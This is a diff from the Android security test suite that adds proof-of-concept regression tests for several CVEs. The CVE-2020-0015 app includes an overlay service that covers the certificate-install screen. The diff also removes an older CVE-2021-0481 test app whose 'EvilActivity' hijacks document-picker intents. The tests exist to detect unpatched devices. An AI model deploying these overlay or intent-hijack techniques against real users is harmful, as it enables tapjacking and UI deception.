+    static final String HARMFUL_APP = "CVE-2021-39796-harmful.apk";
+    static final String HARMFUL_PKG = "android.security.cts.CVE_2021_39796_harmful";
+
+    @AsbSecurityTest(cveBugId = 205595291)
+    @Test
+    public void testPocCVE_2021_39796() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage(HARMFUL_APP);
+        /* Set the harmful app as harmful */
+        AdbUtils.runCommandLine("pm set-harmful-app-warning " + HARMFUL_PKG + " harmful 0", device);
+
+        installPackage(TEST_APP);
+
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", device);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
new file mode 100644
index 0000000..1c1b246
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39804 extends SecurityTestCase {
+
+    /**
+     * b/215002587
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libheif (As per AOSP code)
+     * Vulnerable Function: reinit (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 215002587)
+    @Test
+    public void testPocCVE_2021_39804() throws Exception {
+        String inputFiles[] = {"cve_2021_39804.heif"};
+        String binaryName = "CVE-2021-39804";
+        String signals[] = {CrashUtils.SIGSEGV};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config =
+                new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+                        new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
+        testConfig.config.checkMinAddress(false);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
new file mode 100644
index 0000000..f952082
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 212610736)
+    @Test
+    public void testPocCVE_2021_39810() {
+        try {
+            // clearing default payment app component if already set
+            AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+                    getDevice());
+            installPackage("CVE-2021-39810.apk");
+            String defaultComponent = AdbUtils.runCommandLine(
+                    "settings get secure nfc_payment_default_component", getDevice());
+            AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+                    getDevice());
+            assertFalse("Vulnerable to 212610736! Setting default payment app without user consent",
+                    defaultComponent.contains("PocService"));
+        } catch (Exception e) {
+            // assumption failure if a generic exception is thrown by AdbUtils.runCommandLine()
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d..d7a3afc7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@
 import static org.junit.Assume.*;
 import static org.hamcrest.core.Is.is;
 
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
 
     private static final String LOG_TAG = "SecurityTestCase";
     private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@
     // account for the poc timer of 5 minutes (+15 seconds for safety)
     protected static final int TIMEOUT_NONDETERMINISTIC = 315;
 
-    private long kernelStartTime;
+    private long kernelStartTime = -1;
 
     private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
@@ -119,9 +120,13 @@
             getDevice().waitForDeviceAvailable(30 * 1000);
         }
 
-        long deviceTime = getDeviceUptime() + kernelStartTime;
-        long hostTime = System.currentTimeMillis() / 1000;
-        assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+        if (kernelStartTime != -1) {
+            // only fail when the kernel start time is valid
+            long deviceTime = getDeviceUptime() + kernelStartTime;
+            long hostTime = System.currentTimeMillis() / 1000;
+            assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+            kernelStartTime = -1;
+        }
 
         // TODO(badash@): add ability to catch runtime restart
     }
@@ -340,7 +345,7 @@
         String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
                                       "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
                                       "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
-                                      "/dev/st54j*" };
+                                      "/dev/st54j*", "/dev/st21nfc*" };
         boolean isDriverFound = false;
         for(String supportedDriver : supportedDrivers) {
             if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp
index e02248d..b0d2778 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183613671/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "BUG-183613671",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index b2dc9b8..e44a04a 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -41,6 +41,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
 
 /** Basic sample for unbundled UiAutomator. */
 @RunWith(AndroidJUnit4.class)
@@ -111,7 +112,7 @@
         mContext.startActivity(intent);
 
         UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
-        assertNotNull("Activity under-test was not launched or found!", view);
+        assumeNotNull("Activity under-test was not launched or found!", view);
         Log.d(LOG_TAG, "Started Activity under-test.");
     }
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
new file mode 100644
index 0000000..4efed42
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2020-0015",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
new file mode 100644
index 0000000..7685c35
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2020_0015"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2020_0015"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true" />
+    </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2020_0015" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
new file mode 100644
index 0000000..f0a0779
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
new file mode 100644
index 0000000..93f9df8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+    <string name="activityNotStartedException">Unable to start the %1$s</string>
+    <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="certName">Sample Certificate</string>
+    <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+    <string name="intentExtraKeyCert">CERT</string>
+    <string name="intentExtraKeyName">name</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with
+    SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="rawResOpenError">Could not open the raw resource %1$s</string>
+    <string name="streamReadError">Could not read from the raw resource cacert</string>
+    <string name="streamReadWriteException">Error while trying to read from InputStream object
+    and writing to a ByteArrayOutputStream object</string>
+    <string name="testPkg">android.security.cts.CVE_2020_0015</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
new file mode 100644
index 0000000..f42eb75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    String testVulnerablePackage = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "overlay service"), e);
+        }
+    }
+
+    private void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+
+        InputStream inStream = context.getResources().openRawResource(R.raw.cacert);
+        assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null);
+        ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+        byte[] data = new byte[1024];
+        try {
+            int nRead = inStream.read(data, 0, data.length);
+            assumeTrue(context.getString(R.string.streamReadError), nRead > 0);
+            outStream.write(data, 0, nRead);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.streamReadWriteException), e);
+        }
+
+        Intent intent = KeyChain.createInstallIntent();
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(context.getString(R.string.intentExtraKeyName),
+                context.getString(R.string.certName));
+        intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray());
+        PackageManager pm = context.getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+        testVulnerablePackage = ri.activityInfo.packageName;
+
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Context context = getApplicationContext();
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        final int launchTimeoutMs = 20000;
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = false;
+        if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+                launchTimeoutMs)) {
+            overlayDisallowed = true;
+        }
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(
+                    context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage),
+                overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
new file mode 100644
index 0000000..d8563d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
deleted file mode 100644
index ec76abd..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ /dev/null
@@ -1,35 +0,0 @@
-// Copyright (C) 2021 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CVE-2021-0481",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    test_suites: [
-        "cts",
-        "vts10",
-        "sts",
-    ],
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-        "androidx.test.core",
-        "androidx.appcompat_appcompat",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
deleted file mode 100644
index eb4890b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:tools="http://schemas.android.com/tools"
-          package="android.security.cts.CVE_2021_0481"
-          android:targetSandboxVersion="2">
-
-  <application>
-    <uses-library android:name="android.test.runner"/>
-
-    <activity android:name=".EvilActivity" android:exported="true">
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.OPEN_DOCUMENT"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.CREATE_DOCUMENT"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.GET_CONTENT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-            </intent-filter>
-    </activity>
-
-  </application>
-
-  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-    android:targetPackage="android.security.cts.CVE_2021_0481" />
-
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
deleted file mode 100644
index 891bd18..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2021_0481;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.os.SystemClock;
-import android.util.Log;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-import androidx.test.uiautomator.BySelector;
-
-import java.util.List;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-
-/**
- * launch "Settings" app
- * set up user photo
- */
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-
-  class ClickableNotFound extends Exception{
-    public ClickableNotFound(String s){
-      super(s);
-    }
-  }
-
-  private static final String BASIC_SAMPLE_PACKAGE
-          = "android.security.cts.CVE_2021_0481";
-  private static final int LAUNCH_TIMEOUT_MS = 20000;
-  private static final String TAG = "TAG_2021_0481";
-  private static final int IS_FOUND_FLAG = 1;          // 0001
-  private static final int IS_CHECKED_FLAG = 2;        // 0010
-  private UiDevice mDevice;
-
-  @Test
-  public void testUserPhotoSetUp() {
-
-    //set mDevice and go to homescreen
-    mDevice = UiDevice.getInstance(getInstrumentation());
-    mDevice.pressHome();
-
-    //start "Settings" app
-    Intent myIntent = new Intent("android.settings.USER_SETTINGS");
-                                //android.provider.Settings.ACTION_USER_SETTINGS
-    myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-    try{
-      getApplicationContext().startActivity(myIntent);
-    } catch(android.content.ActivityNotFoundException e){
-      Log.d(TAG, "Activity to be tested  doesn't exist. Test will pass.");
-      return;
-    }
-
-    //wait for "User Settings" activity to appear.
-    SystemClock.sleep(6000);
-
-    //perform UI test steps
-    try {
-
-      //in "Multiple users" activity showing "Use multiple users" switch
-      searchAndClick(mDevice, "android:id/switch_widget", 2000);
-
-      //in "Multiple users" activity showing a list of current users,
-      //look for the first item "android:id/title" on the list showing "You(Owner)"
-      searchAndClick(mDevice, "android:id/title", 2000);
-
